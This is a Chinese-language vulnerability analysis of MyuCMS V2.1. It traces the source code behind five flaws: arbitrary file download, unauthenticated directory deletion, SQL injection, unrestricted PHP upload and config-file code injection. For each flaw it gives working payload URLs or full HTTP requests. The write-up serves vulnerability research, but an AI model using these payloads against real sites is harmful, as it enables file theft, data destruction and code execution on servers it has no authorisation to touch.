MyuCMS_V2.1漏洞分析

2020-02-27 约 765 字 预计阅读 4 分钟

声明:本文 【MyuCMS_V2.1漏洞分析】 由作者 7ten7 于 2020-02-27 09:09:06 首发 先知社区 曾经 浏览数 235 次

感谢 7ten7 的辛苦付出!

前言

在CNVD看到一个MyuCMS的一个任意文件删除漏洞。然后去搜了下这个CMS,发现官网公告显示在V2.2.3版本修复了CNVD提供的多处漏洞。

怀着好奇的心里,去CNVD搜了下这个CMS,结果发现V2.1版本存在多处高危漏洞。既然这样,就来分析下这些漏洞产生的原因和利用方式。

过程分析

MyuCMS_V2.1 基于 Thinkphp 5.0.24 开发。下载链接可以在官方社区找到。

前台任意文件下载

既然是文件下载,先在整个项目中搜索下 download 关键字,尝试看看能不能直接定位到关键代码。

通过搜索定位到 bbs 模块下的 Index 控制器的 download 方法。

download 方法接受三个参数,这三个参数我们是完全可控的,单从 download 这个方法来看,无任何参数内容限制,直接将 $url$name 两个参数传递给了 Http 类的 download 方法来执行下载。

Http->download() 方法中还未对参数内容进行限制,便会造成任意文件下载漏洞。

接下来,我们跟进 Http->download() 方法。

static public function download ($filename, $showname='',$content='',$expire=180) {
        if(is_file($filename)) { //判断 $filename 是否为文件
            $length = filesize($filename); // 获取 $filename 的文件大小
        }elseif($content != '') {
            $length = strlen($content);
        }else {
            throw_exception($filename.L('下载文件不存在!')); // 若文件不存在抛出异常
        }
        if(empty($showname)) {
            $showname = $filename; // $showname 为下载后文件的名称。若未设置则与被下载文件同名
        }
        $showname = basename($showname); //获取路径中的文件名部分
        if(!empty($filename)) {
            $type = mime_content_type($filename); //获取文件的MIME类型
        }else{
            $type    =   "application/octet-stream";
        }
        //发送Http Header信息 开始下载
        header("Pragma: public");
        header("Cache-control: max-age=".$expire);
        //header('Cache-Control: no-store, no-cache, must-revalidate');
        header("Expires: " . gmdate("D, d M Y H:i:s",time()+$expire) . "GMT");
        header("Last-Modified: " . gmdate("D, d M Y H:i:s",time()) . "GMT");
        header("Content-Disposition: attachment; filename=".$showname);
        header("Content-Length: ".$length);
        header("Content-type: ".$type);
        header('Content-Encoding: none');
        header("Content-Transfer-Encoding: binary" );
        if($content == '' ) {
            readfile($filename); // 读取文件内容并输出,从而实现下载
        }else {
            echo($content);
        }
        exit();
    }

由如上代码我们可以看出,Http->download() 方法中同样未对传入的参数进行内容限制,只实现了下载的业务逻辑。

此处任意文件下载,结合 phar 反序列化,还可以造成任意文件删除和任意文件写入(仅linux下)。这两条反序列化利用链在先知和安全客上都已经有大佬分析的很好了,有兴趣的师傅直接看下面链接就行。

MyuCMS<=v2.2.1反序列化
ThinkPHP v5.0.x 反序列化利用链挖掘

Payload

所以,由此可以得出任意文件下载的payload。

Payload: http://xxxxxxxxx/bbs/index/download?url=application/database.php&name=&local=1
Payload: http://xxxxxxxxx/bbs/index/download?url=c:/windows/win.ini&name=&local=1

任意目录删除漏洞

在CNVD上看到的是任意文件删除。但我发现的是一个任意目录删除,并不能只删除单独一个文件。可能此处所说的任意文件删除就是MyuCMS<=v2.2.1反序列化此处分析的利用反序列化链来进行任意文件删除吧。

因为漏洞描述是任意文件删除,所以先全文搜索 unlink 函数,定位到存在文件删除功能的代码段。

定位到 application/common.php 中的 deleteun 函数

function deleteun($dir_name)
{
    $result = false;
    if (is_dir($dir_name)) { // 判断是否为目录
        if ($handle = opendir($dir_name)) { // 打开目录
            while (false !== ($item = readdir($handle))) { // 通过这个 while 遍历目录中的文件 
                if ($item != '.' && $item != '..') {
                    if (is_dir($dir_name . DS . $item)) { // 若遍历到的文件为子目录,则递归调用deleteun
                        deleteun($dir_name . DS . $item);
                    } else {
                        unlink($dir_name . DS . $item); // 删除遍历到的文件
                    }
                }
            }
            closedir($handle); // 关闭文件夹
            if (rmdir($dir_name)) { // 删除该目录
                $result = true;
            }
        }
    }

    return $result;
}

根据 deleteun 函数的实现代码来看,我们可以看到该函数中对传入的参数无任何限制。

然后在整个项目中搜索,看哪个文件中调用了 deleteun 函数。

发现总共三处两个文件调用了该函数,且这三处代码内容相同,只不过是传递给的 deleteun 函数的参数不同,我们可以判断出,这三处都可以触发任意目录删除漏洞。

这三处的不同之处在于。Muban.php 继承了 Common 类,在 Common 类中实现了对于是否已经登录的验证。实现代码如下。

public function _initialize(){
        if(!session('usermail') || !session('kouling')){
           $this->error('请登录',url('login/index')); 
           print s();
        }

    }

Addons.php 继承自 AdminBase 类,且初始化时执行父类 AdminBase_initialize() 方法,在 AdminBase 类中调用了父类 Controller_initialize() 方法。而父类的 Controller_initialize(); 方法的实现内容为空。

所以 Addons.php 在未登录的情况下也可以访问。这意味我们不需要登录后台也可以触发任意目录删除漏洞。

Payload

所以给出 Payload 如下,即可删除整个 install 目录

Payload: http://xxxxxxxxx/admin/Addons/un?info=../install

SQL注入漏洞

在 CNVD 上的描述为,MyuCMS us***_xi***.html页面存在SQL注入漏洞

通过对整个项目文件的搜索,最终确定为 user_xiaoxi.html 文件。

该视图文件,对应的控制器为 application/bbs/controller/User.php 。显示消息为 User->xiaoxi() 方法。该方法中无用户可控参数。所以注入不可能在此方法中。

如图所示功能处可将未读消息更改为已读消息。同时我们抓包观察。未读消息为其他用户在登录用户发布的文章下留言所产生。

可以发现,该功能对应的路由地址,以及所提交的参数。我们找到路由地址对应的方法为 User->xiaoxidel() 代码如下

public function xiaoxidel($ids)
    {
        if (!session('userid') || !session('username')) { // 进行登录判断
            $this->error('亲!请登录',url('bbs/login/index'));
        } else {
            if ($ids==0) { // 根据 ids 参数来判断执行的动作为标记消息还是删除消息
            $id = input('id'); // 通过input助手函数获取需要操作的消息对应的 id
            $data['open'] = 1;
            if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->update($data)) { // 此处第一个 where() 使用字符串条件时没有配合预处理机制,所以会直接将 id=$id 拼接到SQL语句中。从而造成了SQL语句可控,形成注入。此处可以进行DEBUG,看到最好的SQL语句是如何拼接的。
                return json(array('code' => 200, 'msg' => '标记已读成功'));
            } else {
                return json(array('code' => 0, 'msg' => '标记已读失败'));
            }
            }elseif ($ids==1){
            $id = input('id');
            if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->delete($id)) {
                return json(array('code' => 200, 'msg' => '彻底删除成功'));
            } else {
                return json(array('code' => 0, 'msg' => '彻底删除失败'));
            }
            }
        }
    }

上述代码中,where() 方法使用字符串条件,但并没有执行预编译。其实针对字符串条件,官方手册是做了说明的,显然这里没有遵守官方手册的意见,所以造成了SQL注入。

Payload

Payload如下

Payload: id=2) and updatexml(1,concat(0x7e,(select database()),0x7e),1)  and (1

在下图所示位置打上断点,即可查执行的SQL语句

文件上传漏洞

CNVD 上对应的标题为 myucms fo***.php页面存在文件上传漏洞

搜索项目中fo开头的文件,定位到 application/admin/controller/Forum.php 中的 doUploadPic 方法

public function doUploadPic()
    {
        $file = request()->file('FileName');
        $info = $file->move(ROOT_PATH . DS . 'uploads');
        if($info){
            $path = WEB_URL . DS . 'uploads' . DS .$info->getSaveName();
            echo str_replace("\\","/",$path);
        }
    }

可以看到上述代码调用了 Thinkphp 内置的 move 方法来对上传的文件进行处理。但是在调用 move 方法前未调用 validate() 方法来设置验证规则。以至于此处形成了任意文件上传漏洞。

Payload

根据 doUploadPic() 方法构建 Payload数据包 如下:

POST /admin/forum/doUploadPic HTTP/1.1
Host: www.myu.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------18467633426500
Cookie: PHPSESSID=l6ijpio06mqmhcdq654g63eq90; UM_distinctid=170343d2b4a291-0a4e487f247e62-4c302978-1fa400-170343d2b4b28f; CNZZDATA1277972876=1874892142-1581419669-%7C1581432904
Upgrade-Insecure-Requests: 1
Content-Length: 206

-----------------------------18467633426500
Content-Disposition: form-data; name="FileName"; filename="1.php"
Content-Type: image/jpeg

<?php phpinfo(); ?>
-----------------------------18467633426500--

命令执行

CNVD上没有说明存在的页面。我找到的是一处能控制 extre/web.php 内容的漏洞。

漏洞成因是使用 file_put_contents 函数更新 extre 下配置文件的内容时,未对参数内容做验证,而直接通过循环遍历,拼接到了php后缀的配置文件中。

相同原理漏洞影响3个文件共5处。分别为 application/admin/controller/Config.phpapplication/admin/controller/Muban.phpapplication/admin/controller/Point.php

此处以 application/admin/controller/Config.php 下的 add() 方法为例分析

public function add()
    {
       $path = 'application/extra/web.php';
       $file = include $path;      // $file 的内容为 web.php 中返回的配置数组的值
       $config = array( // 读取 post 中提交的配置内容
         'WEB_RXT' => input('WEB_RXT'),
         'WEB_GL' => input('WEB_GL'),
         'WEB_REG' => input('WEB_REG'),
         'WEB_TAG' => input('WEB_TAG'),
         'WEB_OPE' => input('WEB_OPE'),
         'WEB_BUG' => input('WEB_BUG'),
         'WEB_BBS' => input('WEB_BBS'),
         'WEB_SHOP' => input('WEB_SHOP'),
         'WEB_INDEX' => input('WEB_INDEX'),
         'WEB_KEJIAN' => input('WEB_KEJIAN'),
         'WEB_KEJIANS' => input('WEB_KEJIANS'),
         'Cascade' => input('Cascade'),
         //七牛
         'bucket' => input('bucket'),
         'accessKey' => input('accessKey'),
         'secrectKey' => input('secrectKey'),
         'domain' => input('domain'),
         'qiniuopen' => input('qiniuopen'),
       );
        $res = array_merge($file, $config); // 合并两个数组
        $str = '<?php return [';
        foreach ($res as $key => $value) { // 循环数组,生成新的配置内容
            $str .= '\'' . $key . '\'' . '=>' . '\'' . $value . '\'' . ',';
        }
        $str .= ']; ';
        if (file_put_contents($path, $str)) { // 将配置内容写入 web.php 文件
            return json(array('code' => 200, 'msg' => '修改成功'));
        } else {
            return json(array('code' => 0, 'msg' => '修改失败'));
        }
    }

Payload

Payload数据包如下:

POST /admin/config/add.html HTTP/1.1
Host: www.myu.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 327
Origin: http://www.myu.io
Connection: close
Referer: http://www.myu.io/admin/config/index.html
Cookie: PHPSESSID=l6ijpio06mqmhcdq654g63eq90; UM_distinctid=170343d2b4a291-0a4e487f247e62-4c302978-1fa400-170343d2b4b28f; CNZZDATA1277972876=1874892142-1581419669-%7C1581432904; XDEBUG_SESSION=XDEBUG_ECLIPSE

WEB_KEJIAN=0&WEB_KEJIANS=0&WEB_INDEX=bbs',phpinfo(),'&WEB_RXT=rar,png,zip,jpg,gif,ico,7z&qiniuopen=0&secrectKey=0&accessKey=0&domain=0&bucket=0&Cascade=1&WEB_BUG=true&WEB_REG=1&WEB_OPE=1&WEB_GL=0&WEB_BBS=1&WEB_SHOP=1&WEB_TAG=%e6%8f%92%e4%bb%b6%2c%e5%bb%ba%e8%ae%ae%2c%e6%a8%a1%e6%9d%bf%2c%e7%ad%be%e5%88%b0%2c%e5%8f%8d%e9%a6%88

写入的内容和效果如下:

结束

限于水平有限,有些 CNVD 上有记录到的洞没分析到,望海涵。

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now